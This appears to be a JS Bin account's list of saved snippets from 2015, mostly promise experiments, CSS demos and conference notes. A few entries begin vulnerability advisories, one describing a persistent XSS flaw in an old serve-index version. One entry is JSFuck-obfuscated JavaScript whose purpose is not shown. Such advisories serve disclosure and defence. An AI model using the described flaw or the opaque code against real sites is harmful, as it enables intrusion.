kuxizi 05 Jan 2016 Archive Un-archive html, body { background-color: #000; margin: 0; padding: 0; width: 200vw; height: 200vh; overflow: hidden; } .container { height: 1110px; width: 1400px; overflow: hidden; position: relative; } .bg { height: 100%; -webkit-perspective: 800px; perspective: 8
lazoli 24 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
4 24 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
3 24 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
2 24 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
1 24 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
sehuxo 22 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
2 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
1 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
jaharo 22 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
1 22 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
xilula 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
4 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
3 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
2 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
1 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
zevuho 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
2 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
1 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection Lorem ipsu
rimone 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection Lorem ipsu
5 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
4 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
3 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
2 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
1 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
sifaqo 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection Lorem ipsu
2 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
1 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
ruyife 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
3 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
2 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
1 19 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
nuzesa 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
3 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
2 19 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
1 19 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
bobuha 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
2 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
1 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
metoya 19 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection
nitoti 18 Dec 2015 Archive Un-archive var guid = 0; function run() { guid++; var id = guid; return new Promise(resolve => { // resolve in a random amount of time setTimeout(function () { console.log(id); resolve(id); }, (Math.random() * 1.5 | 0) * 1000); }); } var promises = Array.from({ leng
5 18 Dec 2015 Archive Un-archive var guid = 0; function run() { guid++; var id = guid; return new Promise(resolve => { setTimeout(function () { console.log(id); resolve(id); }, (Math.random() * 1.5 | 0) * 1000); }); } var promises = Array.from({ length: 10 }, run); Promise.all(promises).
4 18 Dec 2015 Archive Un-archive var guid = 0; function run() { guid++; var id = guid; return new Promise(resolve => { // resolve in a random amount of time setTimeout(function () { console.log(id); resolve(id); }, (Math.random() * 1.5 | 0) * 1000); }); } var promises = Array.from({ leng
3 18 Dec 2015 Archive Un-archive var guid = 0; function run() { guid++; var id = guid; return new Promise(resolve => { // resolve in a random amount of time setTimeout(function () { resolve(id); }, (Math.random() * 1.5 | 0) * 1000); }); } var promises = Array.from({ length: 10 }, run); P
2 18 Dec 2015 Archive Un-archive var guid = 0; function run() { guid++; var id = guid; return new Promise(resolve => { // resolve in a random amount of time setTimeout(function () { resolve(id); }, (Math.random() * 1.5 | 0) * 1000); }); } console.clear(); var promises = Array.from({ leng
1 18 Dec 2015 Archive Un-archive var guid = 0; function run() { guid++; var id = guid; return new Promise(resolve => { // resolve in a random amount of time setTimeout(function () { console.log('timeout on ' + id); resolve(id); }, (Math.random() * 1.5 | 0) * 1000); }); } console.clear();
hivate 18 Dec 2015 Archive Un-archive var guid = 0; function run() { guid++; var id = guid; return new Promise(resolve => { setTimeout(function () { console.log(id); resolve(id); }, (Math.random() * 1.5 | 0) * 1000); }); } var promises = Array.from({ length: 10 }, run); Promise.all(promises).
cayuti 18 Dec 2015 Archive Un-archive input:not(:focus):valid + span::after { content: '✓'; }
fapoma 17 Dec 2015 Archive Un-archive var p = []; function pgen(id) { return new Promise(function (resolve){ console.log('start ' + id); setTimeout(function () { console.log('end ' + id); resolve(id); }, (Math.random() * 1.5 | 0) * 1000); }); } console.clear(); var source = []; for (var i = 1
2 15 Dec 2015 Archive Un-archive var p = []; function pgen(id) { return new Promise(function (resolve){ console.log('start ' + id); setTimeout(function () { console.log('end ' + id); resolve(id); }, (Math.random() * 3 | 0) * 1000); }); } console.clear(); var source = []; for (var i = 1;
1 15 Dec 2015 Archive Un-archive var p = []; function pgen(id) { return new Promise(function (resolve){ console.log('start ' + id); setTimeout(function () { console.log('end ' + id); resolve(id); }, (Math.random() * 3 | 0) * 1000); }); } console.clear(); var source = []; for (var i = 1;
tapode 15 Dec 2015 Archive Un-archive Value of Cat[0] DOB: Table Update
navalu 14 Dec 2015 Archive Un-archive UL Select
kuyiya 11 Dec 2015 Archive Un-archive var b = [ 'uglify-package@1.0.0', 'ug-deep-alt@1.0.0', 'uglify-js@2.4.24' ]; var a = [ [ 'uglify-package@1.0.0', 'ug-deep@1.0.0', 'uglify-js@2.2.0' ], [ 'uglify-package@1.0.0', 'ug-deep@1.0.0', 'uglify-js@2.2.0' ], [ 'uglify-package@1.0.0', 'ug-deep-alt@1
dekeju 11 Dec 2015 Archive Un-archive 100% vh paralax backgrounds
dasaki 09 Dec 2015 Archive Un-archive JS Bin
hulegoc 29 Nov 2015 Archive Un-archive JS Bin
tuvuta 27 Nov 2015 Archive Un-archive var a = [1,2,3]; console.clear(); var b = a.slice(0).reduce(function (acc, curr, i) { console.log(': ' + curr) acc.push(curr); if (i % 2 == 0) { console.log('>>>', i); a.splice(i, 0, 'X'); } return acc; }, []); console.log(a, b);
lobega 25 Nov 2015 Archive Un-archive var foo = { fn: function (r) { return r; } }; var p = Promise.resolve(10).then(foo.NOT_A_FN).then(function (res) { console.log(typeof res); });
dogabo 24 Nov 2015 Archive Un-archive Just a demo.
solujo 19 Nov 2015 Archive Un-archive var SCHEDULE = [ '1000', '1040', '1100', '1150', '1230', '1400', '1450', '1530', '1600', '1650', '1750', '1830', '1840', '0800', '0900', '0910' ]; var delay = 1000 * 60 * 5; console.clear(); // var time = Date.parse('2015-11-19 10:20:00') // console.log(
gikuji 12 Nov 2015 Archive Un-archive
renare 10 Nov 2015 Archive Un-archive var terms = ['shit', 'fuck', 'f u c k', 'f u c k e r']; var re = RegExp('\\b(?:' + terms.join('|') + ')\\b'); var hasBadWords = function (str) { console.log( re.test(str) ) }; console.clear(); hasBadWords("hit me duck"); // false hasBadWords("holy shit");
yazuvi 09 Nov 2015 Archive Un-archive
nimogo 06 Nov 2015 Archive Un-archive a = [10, 5, 2, "TIME"] i = 0 ontouchstart = function () { document.body.innerHTML = a[i++ % 4] }
miyivi 05 Nov 2015 Archive Un-archive Notes 1 Notes 2 (timeline conversations with Paul Lewis)
vohano 05 Nov 2015 Archive Un-archive var city = 'Brighton';
jigivax 05 Nov 2015 Archive Un-archive function foo() { console.log('foo'); setTimeout(bar, 1000); } function bar() { console.log('bar'); } foo();
ronifu 03 Nov 2015 Archive Un-archive (![]+[])[+[]]+(![]+[])[+[]] +([][(![]+[])[+[]]+([![]]+[] [[]])[+!+[]+[+[]]]+(![]+[])[! +[]+!+[]]+(!![]+[])[+[]]+(!![] +[])[!+ [] +!+[]+ !+[]]+(! ![ ]+[])[ +!+[]]]+[ ]) [!+[]+ !+[]+!+[] ]+(!![ ]+[][(![]+ [])[+[]]+ ([![]] +[][[]])[+ !+[]+[+[] ]]+(![ ]+[])[!
zexine 29 Oct 2015 Archive Un-archive (function() { var isLucky = function() { var foo = Math.round(Math.random() * 100); if (foo > 50) { return "You are lucky!"; } else { return "You are not lucky!"; } }; var me = isLucky(); alert(me); })(); //vs var isLucky = function() { var foo = Math.rou
salera 28 Oct 2015 Archive Un-archive try {'use strict'; var x = {}; Object.freeze(x); x.a = 42; var isStrict = (function() { return !this; })(); window.runnerWindow.proxyConsole.log(isStrict); } catch (error) { throw error; } //# sourceURL=kuhoza.js
qikabu 25 Oct 2015 Archive Un-archive Hi there, Please find below important and useful information to make sure your visit to our #ffconf on Friday 6th November 2015 is a super dooper awesome time! Note that we&#39;ve also published all these details http://ffconf.org/details If you are on on
sodaho 21 Oct 2015 Archive Un-archive console.clear(); function foo() { return new Promise(function (resolve, reject) { resolve(10); }).then(function () { throw new Error('foo'); // this isn't caught }, function (e) { console.log('caught it: ' + e.message); }); } foo().then(_ => console.log('
wosuwo 20 Oct 2015 Archive Un-archive ## Overview: Connect is a stack of middleware that is executed in order in each request. The "methodOverride" middleware allows the http post to override the method of the request with the value of the ```_method``` post key or with the header "x-http-met
toloza 20 Oct 2015 Archive Un-archive s = '{ "A": "## Overview:\\nConnect is a stack of middleware that is executed in order in each request.\\nThe \\\"methodOverride\\\" middleware allows the http post to override the method of the request with the value of the ```_method``` post key or with
cipuri 20 Oct 2015 Archive Un-archive ## Overview: When using serve-index middleware version < 1.6.3 file and directory names are not escaped in HTML output. If remote users can influence file or directory names, this can trigger a persistent XSS attack. ## Recommendations: * Update to versio
jibire 14 Oct 2015 Archive Un-archive console.clear(); var ctr = 0; function doit() { return new Promise(function (resolve) { console.log(++ctr); if (ctr === 10) { return resolve(true); } resolve(doit()); }); } doit();
bafuzo 13 Oct 2015 Archive Un-archive ffconf 2015
hahuho 13 Oct 2015 Archive Un-archive ffconf copy
dihehu 13 Oct 2015 Archive Un-archive ffconf 2015
judoko 12 Oct 2015 Archive Un-archive document.documentElement.onkeydown = function (e) { document.body.innerHTML = e.which; };
zebipo 08 Oct 2015 Archive Un-archive This works
muxime 07 Oct 2015 Archive Un-archive # Misc extra notes - If devtools ever breaks due to experiments: http://stackoverflow.com/questions/31632316/how-to-edit-reset-chrome-devtools-settings-manually-on-disk # Debugging Workshop - Work with Canary with devtools experiments enabled (about:flags
tipeca 07 Oct 2015 Archive Un-archive var links = '1 2 3 4 5'.split(' '); var i = Math.random() * links.length | 0; try { i = window.top.location.hash.substr(1) || i; }catch (e) {} function update(i) { document.body.innerHTML = '<strong></strong>&nbsp;&nbsp;&nbsp;' + shuffle(links).join(' ');
1 07 Oct 2015 Archive Un-archive var links = '1 2 3 4 5'.split(' '); var i = Math.random() * links.length | 0; try { i = window.top.location.hash.substr(1) || i; }catch (e) {} function update(i) { document.body.innerHTML = '<strong>#' + i + '</strong>&nbsp;&nbsp;&nbsp;' + links[i]; } upd
zajoki 07 Oct 2015 Archive Un-archive JS Bin
gapiki 07 Oct 2015 Archive Un-archive Hello world.
ceyari 06 Oct 2015 Archive Un-archive X-Wing cockpit
yexera 06 Oct 2015 Archive Un-archive var links = 'http://www.umusicpub.co.uk/ https://fyndiq.se/ http://www.avangate.com www.optaros.com www.coachoutlet.com http://ux-architect.github.io/demo/ https://www.haufe.de/ http://acp.imobiliare.ro/acp?sess_id=fda0f5abc10a1b5661451916e5c205668d300ca9
buhehe 05 Oct 2015 Archive Un-archive body { height: 100%; background: /* rgba(0,0,0,0.3), */ /* can't I put a colour over the top? */ url(https://jsbin-user-assets.s3.amazonaws.com/rem/rage.gif) no-repeat; background-size: cover; }
nepuda 05 Oct 2015 Archive Un-archive Score: Score: Score: Name: (echoed: (echoed name)) Location: Brighton Berlin New York Toys Story's: 1 2 3 Fav Toys Story? 1 2 3 Cats (first cat's name: ???): Simple list: change score programatically (demos source of change)
6 03 Sep 2015 Archive Un-archive Score: Score: Score: Name: (echoed: (echoed name)) Location: Brighton Berlin New York Toys Story's: 1 2 3 Fav Toys Story? 1 2 3 Cats (first cat's name: ???): Simple list: change score programatically (demos source of change)
5 26 May 2015 Archive Un-archive Score: Score: Score: Name: (echoed: (echoed name)) Location: Brighton Berlin New York Toys Story's: 1 2 3 Fav Toys Story? 1 2 3 Cats (first cat's name: ???): Simple list:
4 26 May 2015 Archive Un-archive Score: Score: Score: Name: (echoed: (echoed name)) Location: Brighton Berlin New York Toys Story's: 1 2 3 Fav Toys Story? 1 2 3 Cats (first cat's name: ???): Simple list:
3 26 May 2015 Archive Un-archive Score: Score: Score: Name: (echoed: (echoed name)) Location: Brighton Berlin New York Toys Story's: 1 2 3 Fav Toys Story? 1 2 3 Cats (first cat's name: ???): Simple list:
2 22 May 2015 Archive Un-archive Score: Score: Score: Name: (echoed: (echoed name)) Location: Brighton Berlin New York Toys Story's: one two three Fav Toys Story? one two three Cats (first cat's name: ???): Simple list:
1 22 May 2015 Archive Un-archive Score: Score: Score: Name: (echoed: (echoed name)) Location: Brighton Berlin New York Toys Story's: one two three Fav Toys Story? one two three Cats (first cat's name: ???): Simple list:
mofawah 03 Oct 2015 Archive Un-archive function test(t, a, b) { var res = ((a === false && b === false) || (a === true && b === true)) console.log(t + '=' + res); } test(1, true, true); test(2, true, false); test(3, false, false);
jaliqa 03 Oct 2015 Archive Un-archive var names = Bind({ name: 'remy', }, { name: '.name', }); names.name = 'remy';
1 03 Oct 2015 Archive Un-archive £10.50 none test
riyaku 03 Oct 2015 Archive Un-archive £10.50 none test
1 03 Oct 2015 Archive Un-archive £10.50 none test
vefoge 24 Sep 2015 Archive Un-archive /*global $*/ $.getJSON('http://jsbin.com/xeciqo.json', function (d) { console.log(d.statuses); });
xeciqo 24 Sep 2015 Archive Un-archive {"statuses":[{"_id":"546e4354d92e8e000032bfc5","metadata":{"iso_language_code":"en","result_type":"recent"},"created_at":"Thu Nov 13 15:15:54 +0000 2014","id":"532914758316720100","id_str":"532914758316720129","text":"@benmacgowan you caught me *just* as
kuvebi 24 Sep 2015 Archive Un-archive var p = Promise.resolve(10); Promise.resolve(20).then(p).then(function (s) { // why isn't s===10? console.log(s); });
nikeka 10 Sep 2015 Archive Un-archive var d = '10/20/15'; var m = moment(d, 'MM-DD-YY').format('YYYY-MM-DD'); console.log(m);
dosamew 31 Aug 2015 Archive Un-archive s = '<p>Tia was our first born. I know I don&#39;t write about Ellis and Seren, but I get to look into their eyes and tell them that I love them every day. Tia never heard my voice. She never opened her eyes. I&#39;ll never know what colour eyes she has.
zikewaq 28 Aug 2015 Archive Un-archive var DOM = React.DOM; var Box = React.createFactory(React.createClass({ displayName: 'Box', addBox: function () { this.props.addBoxAfter(this.props.box); }, removeBox: function (e) { e.stopPropagation(); this.props.removeBox(this.props.box); }, render: fun
fonehu 26 Aug 2015 Archive Un-archive Sound? I tweet too @js_bin!
vasebi 26 Aug 2015 Archive Un-archive little red racing car image/svg+xml little red racing car A little red, rounded racing car with plastic details and a drop shadow 2013-05-02 Onsemeliot car racing red
siyanu 26 Aug 2015 Archive Un-archive JS Bin
havepi 23 Aug 2015 Archive Un-archive £10.50
1 23 Aug 2015 Archive Un-archive £10.50
sawivi 23 Aug 2015 Archive Un-archive £10.50
1 23 Aug 2015 Archive Un-archive £10.50
tuyexu 23 Aug 2015 Archive Un-archive %code% %code%
1 23 Aug 2015 Archive Un-archive %code%
lacatu 22 Aug 2015 Archive Un-archive Score: Score: Score:
1 22 Aug 2015 Archive Un-archive Score: Score: Score: Name: (echoed: (echoed name)) Location: Brighton Berlin New York Toys Story's: 1 2 3 Fav Toys Story? 1 2 3 Cats (first cat's name: ???): Simple list:
jovuvo 20 Aug 2015 Archive Un-archive window.location="https://jsbin.com/upgrade?coupon=i-got-me-some-async-love"
1 25 Jun 2015 Archive Un-archive window.location="https://jsbin.com/upgrade?coupon=found-the-love-again"
zalaku 19 Aug 2015 Archive Un-archive %code%
kixabo 19 Aug 2015 Archive Un-archive var body = new require('stream').Readable(); body.push(JSON.stringify(payload)); body.push(null); var req = request({ gzip: true, method: 'PUT', headers: { 'content-encoding': 'gzip', }, url: url, json: true, }); req.on('error', function (error) { reject(
sodumif 19 Aug 2015 Archive Un-archive var i = $('img'); $(document).on('mousemove', function (e) { i.css({ transformOrigin: '-50% -50%', transform:'translateX(' + (e.clientX) + 'px) translateY(' + (e.clientY) + 'px)'}); });
1 18 Aug 2015 Archive Un-archive body { background: #333 url(https://jsbin-user-assets.s3.amazonaws.com/rem/Screen-Shot-2015-08-18-at-11.14.07.png); background-size: cover; background-repeat: no-repeat; } div img { max-width: 600px; } div { width: 400px; margin: 100px auto; } @-webkit-ke
coyuzi 19 Aug 2015 Archive Un-archive Datalist Element Demo Pick a programming language Pick an HTML Element (options loaded using AJAX)
ximala 18 Aug 2015 Archive Un-archive Lorem ipsum dolor sit amet, consectetur adipisicing elit. Error officia tenetur non architecto dolor odit, doloribus similique at doloremque cum ipsum veniam sit deleniti odio, eos laudantium quaerat voluptatem facere.
1 18 Aug 2015 Archive Un-archive Lorem ipsum dolor sit amet, consectetur adipisicing elit. Error officia tenetur non architecto dolor odit, doloribus similique at doloremque cum ipsum veniam sit deleniti odio, eos laudantium quaerat voluptatem facere.
yiloce 18 Aug 2015 Archive Un-archive Lorem ipsum dolor sit amet, consectetur adipisicing elit. Error officia tenetur non architecto dolor odit, doloribus similique at doloremque cum ipsum veniam sit deleniti odio, eos laudantium quaerat voluptatem facere.
3 18 Aug 2015 Archive Un-archive Lorem ipsum dolor sit amet, consectetur adipisicing elit. Error officia tenetur non architecto dolor odit, doloribus similique at doloremque cum ipsum veniam sit deleniti odio, eos laudantium quaerat voluptatem facere.
2 18 Aug 2015 Archive Un-archive Lorem ipsum dolor sit amet, consectetur adipisicing elit. Error officia tenetur non architecto dolor odit, doloribus similique at doloremque cum ipsum veniam sit deleniti odio, eos laudantium quaerat voluptatem facere.
1 18 Aug 2015 Archive Un-archive Lorem ipsum dolor sit amet, consectetur adipisicing elit. Error officia tenetur non architecto dolor odit, doloribus similique at doloremque cum ipsum veniam sit deleniti odio, eos laudantium quaerat voluptatem facere.
gozeva 13 Aug 2015 Archive Un-archive function foo() { var args = ['get'].concat([].slice.call(arguments)); console.log(args) } console.clear(); foo('a', 1, 2, function get() {})
1 13 Aug 2015 Archive Un-archive function foo() { var args = ['get'].concat.apply(arguments); console.log(args) } console.clear(); foo('a', 1, 2, function get() {})
xunede 13 Aug 2015 Archive Un-archive var a = []; Promise.all(a).then(function () { console.log('done'); });
yiqaho 12 Aug 2015 Archive Un-archive console.clear(); function returnsPromise() { return Promise.resolve('yey'); } function optionalCallback(callback) { var promise = returnsPromise(); if (callback) { promise = promise.then(function (res) { callback(null, res); callback = function (err) { co
1 12 Aug 2015 Archive Un-archive function returnsPromise() { return Promise.resolve('yey'); } function optionalCallback(callback) { var promise = returnsPromise(); if (callback) { promise = promise.then(function (res) { callback(null, res); }, callback); } return promise; } optionalCallb
lapapo 11 Aug 2015 Archive Un-archive window.location = ''
xunini 10 Aug 2015 Archive Un-archive function toHex(c) { var d = document.createElement('a'); d.style.backgroundColor = c; d.style.visibility = 'hidden'; document.body.appendChild(d); var rgb = window.getComputedStyle(d, null).backgroundColor; document.body.removeChild(d); var hex = rgb.slic
rilaho 07 Aug 2015 Archive Un-archive snyk snyk no vulnerabilities no vulnerabilities
tuzeri 06 Aug 2015 Archive Un-archive JS Bin
hawepi 03 Aug 2015 Archive Un-archive var ctr = 0; function Foo() { console.log('created new foo'); var f = function () { console.log('instance was called'); }; f.__proto__ = Foo.prototype; this.ctr = ++ctr; return f; } Foo.prototype.bar = function () { console.log('bar called on instance ' +
2 03 Aug 2015 Archive Un-archive var ctr = 0; function Foo() { console.log('created new foo'); var f = function () { console.log('instance was called'); }; f.__proto__ = Foo.prototype; this.ctr = ++ctr; return f; } Foo.prototype.bar = function () { console.log('bar called on instance ' +
1 03 Aug 2015 Archive Un-archive function Foo() { console.log('created new foo'); var f = function () { console.log('instance was called'); }; f.__proto__ = Foo.prototype; return f; } Foo.prototype.bar = function () { console.log('bar called'); }; console.clear(); var foo = new Foo(); fo
dofequ 03 Aug 2015 Archive Un-archive function Foo() { console.log('created new foo'); return function () { console.log('instance was called'); } } Foo.prototype.bar = function () { console.log('bar called'); } console.clear(); var foo = new Foo(); foo(); foo.bar();
yuyuhe 30 Jul 2015 Archive Un-archive %css%
tepozid 30 Jul 2015 Archive Un-archive function all() { var names = 'nap sam dizzy missy ninja'.split(' '); return names.map(function (name) { return Promise.resolve(name); }); } function test() { return new Promise(function (resolve) { resolve(Promise.all(all())); }); } test().then(function (
piqifi 30 Jul 2015 Archive Un-archive hello world
ziqagi 27 Jul 2015 Archive Un-archive svg 0X0
tunuxo 27 Jul 2015 Archive Un-archive function Foo(id, alt) { this.id = id; this.a.a = this.a.a.bind(this); this.id = alt; } Foo.prototype = { a: { a: function () { console.log(this.id); } } } var foo = new Foo(1, 2); foo.a.a();
butotu 27 Jul 2015 Archive Un-archive External script + css
coxebe 24 Jul 2015 Archive Un-archive Ok %css%
tiwexoz 23 Jul 2015 Archive Un-archive body { min-height: 100%; background: blue; color: red; }
fevaco 23 Jul 2015 Archive Un-archive Publishing a new vanity page on 2015-07-23
suzuzi 22 Jul 2015 Archive Un-archive %css%
1 22 Jul 2015 Archive Un-archive %css%
danifu 21 Jul 2015 Archive Un-archive Promise.resolve().then(function () { throw new Error('super fail'); });
fagogi 20 Jul 2015 Archive Un-archive [Remy Sharp](https://remysharp.com) adorns Async for the first time evar to talk about the dark side of running [JS Bin](https://jsbin.com) as an open for all playground. Tales of spam, abuse, police, terrorists and VAT. *** Remy is a developer living in
qajeti 15 Jul 2015 Archive Un-archive JS Bin
ciwoka 15 Jul 2015 Archive Un-archive Score: Score: Score: Name: (echoed: (echoed name)) Location: Brighton Berlin New York Toys Story's: 1 2 3 Fav Toys Story? 1 2 3 Cats (first cat's name: ???): Simple list:
1 15 Jul 2015 Archive Un-archive Score: Score: Score: Name: (echoed: (echoed name)) Location: Brighton Berlin New York Toys Story's: 1 2 3 Fav Toys Story? 1 2 3 Cats (first cat's name: ???): Simple list:
tiluwu 15 Jul 2015 Archive Un-archive var myDataRef = new Firebase('https://eq4hu30nxh7.firebaseio-demo.com/'); $('#messageInput').keypress(function (e) { if (e.keyCode == 13) { var name = $('#nameInput').val(); var text = $('#messageInput').val(); myDataRef.set({name: name, text: text}); $('
zejada 15 Jul 2015 Archive Un-archive .flash { -webkit-animation: flash 100ms steps(1) forwards infinite; background: #000; width: 100px; height: 100px; border: 1px solid #000; } @-webkit-keyframes flash { /* from { background: #000; } */ 50% { background: #f00; } }
jibiri 15 Jul 2015 Archive Un-archive .flash { -webkit-animation: flash 2s step(1) infinite; width: 100px; height: 100px; border: 1px solid #000; } @-webkit-keyframes flash { from { background: #000; } to { background: #f00; } } @keyframes flash { from { background: #000; } to { background: #
hadeno 13 Jul 2015 Archive Un-archive console.log('you know')
lovapu 10 Jul 2015 Archive Un-archive Testing
fogosu 05 Jul 2015 Archive Un-archive console.log('Hello world always 2');
